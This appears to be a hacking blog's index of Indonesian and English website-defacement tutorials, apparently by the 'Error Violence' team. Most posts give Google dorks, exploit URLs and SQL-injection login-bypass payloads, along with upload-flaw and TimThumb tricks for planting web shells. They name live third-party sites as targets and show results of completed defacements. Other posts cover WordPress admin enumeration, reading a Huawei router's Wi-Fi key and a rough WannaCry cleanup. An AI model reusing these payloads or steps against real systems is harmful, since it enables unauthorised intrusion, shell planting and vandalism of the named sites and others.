How to know Subdomain list from webshell and how to filter domain

Hey do you have seen webshells and have a lot of domain list?

Example:

Yes its a domain but it can be subdomain too, if you dont believe it u can see on folder /home/$user/access-logs/, and u can see subdomain list on that website, and then u just mass deface :D 

but wait, you already mass deface it but you want copy that subdomain list manual? hell nah i will tell you how to filter that domain ok lets go

1.Open website http://domaincheckplugin.com/extractor
2. Drag + Copy all of them on access-logs, like this :

3. paste on http://domaincheckplugin.com/extractor 

    example:

4.and then click find domain

5.You can see a result

Hope u enjoy

see ya

Read More

How to find Username Admin on Wordpress

Hey Yo Today i will tell you hw to find username admin on wordpress but i thing its just admin okay first of all u know wordpress right ? wordpress is cms okay now i tell you step by step

 

first methode is ?author=1, put author=1 on site 

example:

site.com/index.php?author=1  

then website redirect to /wp/author/admin/

the username is admin 

not wordpress website can see admin user but just try it 

second methode is /wp-json/wp/v2/users, put /wp-json/wp/v2/users on site

example:

site.com//wp-json/wp/v2/users 

and it will be like this

the username is admin

ok just that hope u enjoy

Read More

Cara Mengetahui subdomain suatu website dari Webshell dan cara cepat Filter subdomain

Kalian pernah gak sih nemu website yang kalian tanam shellnya punya banyak dir?
contohnya seperti ini

Ya itu adalah domain tapi bisa jadi itu juga subdomain loh jika kalian tidak percaya coba kalian masuk kedalam folder /home/$user/access-logs/ (untuk $user itu maksudnya nama user website tersebut) disana akan terlihat subdomain-subdomain yang ada pada website tersebut.
tinggal kalian mass deface deh :D
but tunggu kalian kan udah tau kalau itu Subdomainnya tapi apa kalian gak cape copy manual subdomainnya? kali ini saya juga akan membagikan cara cepat agar subdomain bisa ke filter
yuk simak

1.Kalian buka website http://domaincheckplugin.com/extractor
2.Kalian drag+copy kan semua yang ada di dalam access-logs tadi seperti contoh:

3.Kalian paste ke domain http://domaincheckplugin.com/extractor contoh:

4.Setelah itu click find domain

5.Dan kalian bisa lihat hasilnya

yang tadinya Random sekarang jadi terfilter jadi Domain/subdomain semua 

jadi tidak menguras tenaga yang besar kan?

Jika ini membantu kalian bisa share ke temen-temen kalian

Read More

Cara Deface methode bypass admin dengan No redirect

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security (vulnerability) yang ada di dalam sebuah situs website. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer.

Dan saya akan memberitahu cara deface methode bypass admin dengan menggunakan No redirect adds on

1. kalian download addson no redirect
   https://addons.mozilla.org/en-US/firefox/addon/noredirect/
2. Masukan dork pada google
   "Welcome to Control PanelUse a valid Loginid and password to gain access to the administration console"
3. Kalian copy link admin login ke no redirect kalian bisa klik alt lalu pilih tools untuk memunculkan tools no redirect
4. setelah itu kalian klik ok dan masukkan link site.com/admin/main.php
5. Sekarang bersenang-senang dengan websitenya

jika tidak bisa Tanam shell kalian bisa menggunakan teknik JSO jika tidak mengerti kalian cari saja di google 

Dan sekian itu tutorialnya semoga bermanfaat

Read More

Deface Array Files Shell Upload Vulnerabilitiy

Dork :  inurl:/server/php/files  site:.br

            *dork bisa di kembangkan

exploit : site.com/{patch}/server/php/

search di google y ^^

disini saya sudah ada target live 

http://www.de.mot.go.th/media/server/php/

mohon jgn dipatch untuk pembelajaran yg lain 

contoh vuln itu ada banyak tapi ditarget kita contoh vuln nya seperti ini

jika sudah seperti ini kita masukan taget ke csrf nya 
dan isi Post File nya files[]
link csrf

jika seperti ini kita check shell nya

kita check aja shell nya
  site.com/[patch]/server/php/files/shell.php

Special thanks
Zar0us - 0N3R1D3R - Mr.N00B - Kyu_Kazami - Z-I SLOW - Jingklong - NoNameUser - Yoshinoo48
Yukiteru404 - 3Xxplor5 - FakExpl0it - W!!!BU4SW -Y0UR_$31F - Mr.Greatskiller - yermek

Read More

Deface Kcfinder upload haber

Deface Kcfinder Upload Haber

                                                                  cantik ya ? :v

hallo kali saya akan memberikan tutorial
                                      Deface Kcfinder upload haber
Dork : 
- inurl:/uploads/haber/
- inurl:/uploads/haber/ site:tr

site nya kembangin aja lagi

Exploit : /panel/kcfinder/browse.php

vuln ? biasa nya bakal menuju ke panel kcfinder nya

jika sudah kita upload script deface atawa shell nya

disini saya hanya mengupload script deface saja

untuk mengcheck file/shell kita tinggal tambahkan 
         site.com/panel/kcfinder/upload/files/shell.php5

sekian dan terimakasih 

Read More

Deface CmS Activ Web design

Deface Activ Web Design

Hallo gan udh lama nggak ngeblog karena fokus ngidol hwhwhwh

Kali ini saya akan memberikan tutorial deface lagi hehehe

Bahan bahan

Dork > intext:"website design by activ web design"

Internet

Dah itu aja :'v

Langsung aja simak ya 

Cari site lewat google image

Abis itu buka site dan admin page nya

Contoh : site.48/admin

Disini saya sudah ada live target

http://www.walkerandco.org/admin/

Jika sudah muncul admin page tinggal kita bypass admin page nya saja

Disini saya menggunakan bypass admin

' or 1=1 limit 1 -- -+ < seperti itu :'v

Jika sudah masuk bebas kalian mau apain deh

Read More

Datastone Solutions Admin Login Bypass

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer



dan sekarang saya akan membagikan cara melakukan deface dengan methode bypass admin 

bypass admin apa?kalian bisa mencari di google



kita mulai saja 



dork: intext:"Powered By : Datastone Solutions"
exploit:/adminpanel/


disini saya sudah menemukan salah satu target 

lalu masukan 
username: '=''or'
password: '=''or'

lalu login

dan kalian sudah masuk kedalam sebagai admin 
setelah itu kalian bisa mengupload shell kalian atau jika tidak bisa kalian bisa menggunakan teknik js overlay
Semoga dengan ini bisa membantu

Author of the poc
Author: 0N3R1D3R
Team: Error Violence

sumber:https://cxsecurity.com/issue/WLB-2018020097

Read More

Deface Dengan Dailybread.in Admin panel bypass

Bypass admin login adalah teknik menginjeksi halaman login web target dengan perintah tertentu sehingga bisa terbuka.

jadi sekarang saya akan share bagaimana cara deface dengan methode bypass admin

1.Dork:

intext:"Powered by Dailybread.in" (kalian bisa kembangkan dengan imajinasi kalian)

Admin Page login : site/Admin/

user:'OR''='

password:'OR''='

live target :http://www.houstontamilchurch.org/Admin/

Setelah itu kalian masukan username password sesuai yang diatas

Lalu kalian login

dan kalian telah masuk sebagi admin web 

Dan sekarang tinggal di tanam kan shellnya jika tidak bisa kalian bisa menggunakan teknik jso

thanks :) 

sumber:https://cxsecurity.com/issue/WLB-2018010314

Read More

Cara Deface Bypass admin CMS Winnglo

 Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi. Deface sejati nya adalah kegiatan illegal. Oleh karena itu segala tindakan yang terjadi sepenuh nya tanggung jawab sobat. 

Bypass admin login adalah teknik menginjeksi halaman login web target dengan perintah tertentu sehingga bisa terbuka.

 Langsung saja kita mulai

Dork:intext:"Powered by Winnglo"

(kalian bisa kembangkan dengan imajinasi kalian)

Letak admin login /admin/login.php 

Ok saya sudah mendapat target 

live target:http://jopid.com/admin/login.php 

username:'=''or'

password:'=''or'

setelah itu kalian login

Dan tara kalian sudah masuk kedalam sebagai admin 

kalian bisa menanamkan shell jika tidak bisa kalian bisa menggunakan teknik jso

dan ini hasil deface saya http://jopid.com/privacy.php dan saya menggunkan teknik jso 

 Dan segitu saja Semoga membantu :) 

Read More

Deface Dengan Methode Com_Media

Hi apa kalian sudah tau apa itu deface?
jika kalian belum tau deface adalah adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer

Dan kali ini Saya akan Memberi tahu bagaimana deface menggunakan methode com_media adalah Teknik Exploit Joomla yang memiliki Vulnerabilitas pada Component Media di CMS Joomla.

Dan langsung kita mulai saja 

Dork:1.: inurl:index.php?option=com_media site:com
   2: inurl:index2.php?option=com_media site:net   3: inurl:option=com_media 
 Exploit:/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=
1.kalian mulai men-dorking (live target:http://www.customdesignblinds.com/) 
2. masukan Exploit tadi (http://www.customdesignblinds.com/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=)
3.setelah itu kalian Upload file kalian (biasanya com_media hanya bisa mengupload file ext txt atau jpg)

4.setelah itu kalian klik start upload
5.dan kalian dapat membuka file kalian di site.com/images/namafilekamu.txt

hasilnya akan seperti ini http://www.customdesignblinds.com/images/f0x.txt 

kalian juga bisa bypass ext dengan ext PhP.TxT tapi tidak semua website bisa dengan bypass itu

Semoga dengan artikel ini membantu kalian ;)

F0x35 ~ Error Violence 

Read More

Deface Timthumb

Deface Timthumb

Gambar hanya pemanis hwhwhw

Pertama siapa kan bahan bahan berikut:

Dork

PC/laptop

Internet

Subdomain picasa.com.webkamu.org/Shell.php

Ket: Buat Subdomain di cpanel kamu ato di hosting picasa.com.websitekamu.org dan upload Shell disubdo tersebut

Langkah pertama

Siapakan dork dulu ya pantek

wp-content/plugins/wp-pagenavi/timthumb.php
wp-content/plugins/wp-pagenavi/inc/timthumb.php
wp-content/plugins/wp-pagenavi/functions/timthumb.php
wp-content/plugins/wp-pagenavi/scripts/timthumb.php
wp-content/themes/canvas/timthumb.php
wp-content/themes/TheStyle/timthumb.php

Disini saya memakai dork 

inurl:/wp-content/themes/hulk-businessportfolio-wordpress-theme/hulk/scripts/timthumb.php

Live target

http://microgigz.com/wp-content/themes/hulk-businessportfolio-wordpress-theme/hulk/scripts/timthumb.php

Jika ada tanda

no image specified
Query String : 
TimThumb version : 1.x bla bla

Tanda nya web itu vuln dan harus Timthumb versi 1.x

Kita masukan Exploit nya
http://microgigz.com/wp-content/themes/hulk-businessportfolio-wordpress-theme/hulk/scripts/timthumb.php?src=http://picasa.com.webkamu.org 

Jika keluar seperti tanda nya sukses
Tinggal kita kita check saja

Mudah kan \('.')/
Mr.Swan ~ Error Violence

Read More

Deface kcfinder

Deface kcfinder

Hallo kali ini saya akan memberikan tutorial kcfinder

Dork nya
inurl:/panel/kcfinder/upload site:.
Kembangin lagi masih banyak jing

Search target di google image

Jika sudah klik gambar lalu open new tab

Masukan Exploit nya Jing
/Patch/panel/kcfinder/browse.php

Jika sudah seperti kita upload Shell Ext php5, php3, php.pjpg, php.ndsxf, php lu Jing perusak hubungan orang (canda owokowok)

Jika sudah terupload kita buka Shell nya
/Patch/panel/kcfinder/upload/files/shell.php

Damn...... Boom

Sekian dari w moga bermanfaat ya \('.')/
Mr.Swan ~ Error Violence

Read More

Cara deface Admin No redirect

Ada yang belum tau deface? hmm 

Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi. Hal ini bertujuan untuk melakukan perubahan tampilan pada website korban dengan tampilan yang dimiliki oleh si defacer

Dan sekarang Saya akan Memberi tahu salah satu cara Mendeface 
kali ini dengan methode Bypass admin no redirect
cara ini cukup mudah jadi langsung saja

tetapi kita perlu menggunakan Adds on yang terdapat di Mozilla ya itu Adds on No redirect

Dork:inurl:products.php?maid=
(Kembangkan dengan Imajinasi mu)

setelah itu masukan ke url /admin/

setelah itu kita buka Adds on No redirect dan masukan tabel admin tadi

selanjutnya itu klik oke dan Kita tinggal memasukan ke url /admin/main.php

Dan kalian sudah masuk kedalam sebagai admin Tinggal di tanam shell kalian dan tebas


Dan mungkin itu saja Terima kasih

Read More

Cara Mengetahui Password Wifi Huawei Yang sudah tersambung Di Pc

Hello all hari ini saya share cara mengetahui password wifi huawei

langsung aja deh 

kalau kalian di net pc kalian kan terhubung dengan lan wifi

sekarang lihat

1.untuk melihat gateway buka 

2.setelah mendapat alamat gateway buka browser dan akses ip gateway tadi

3.nanti akan ada tampilan login 

kalian bisa menggunakan id dan pass default

https://portforward.com/router-password/huawei.htm

isi sesuai type Huawei nya 

4.kalian login 

5.dan cek wlan 

6.dan lihat WPA PreSharedKey: lalu hilangkan centang

7.dan akan terlihat passwordnya 

masih bingung ?

simak videonya

Read More

Cara Deface Restricted area

Hae guys kali ini kita membahas tentang cara deface restricted area
poc ini cukup mudah kok ;) cuman upload doang :D
Dan didalam Web itu terdapat banyak sekali Dir </3
Yaa langsung saja

dork:inurl:address.php intext:restricted area

1.Kita dorking dulu yukk ;)
2.kalo udah ketemu kita upload shell yaa bisa extensi php, php.pjpg
atau apalah itu terserah kalian ;)
3.Setelah itu kalian Akses shell kalian di site.com/shellmu.php
4.Dan setelah itu Mass deface deh :''v

Nb:mohon maaf site ini sempat mati karna mimin jarang on :v tapi siapa peduli?
dan kalo dork kalian bisa kembangkan sesuai otak bokep kalian oke ;)

Read More

Beberapa cara meremove Wannacry

Beberapa cara me-remove permanen ransomware wannacry/wannacrypt

Windows 7/8

Update semua antiviruss yang ada di pc kalian
-Deep freeze (langsung update kalo ada update an)
-Esset (kalo ada langsung update kalo suruh minta code crack aja pake olldbgy)
-kalo surfing di google atau apapun pake vpn

===manual===
1.buka task manager
Klik procces cari Shellbla.exe
Klik kanan open file location cary type
message.exe , wrcy.exe , !wannadecryptobla!.exe , svchost.exe , taskchs.exe dan type aneh lainnya hapus aja

2.logo windows+r(run)
Ketik msconfig.exe
Pilih startup lalu unceck google crome atau mozzila ok

3.jalan kan run ketik %Temp%
Carilah type yang aneh lalu hapus

4.jalan kan run ketik %AppData%
Carilah type .exe , .dll , .bat , .vbs <<< segera deleted

Semoga itu membantu yaa

Jangan lupa share
Block ads matiin dong :*

Read More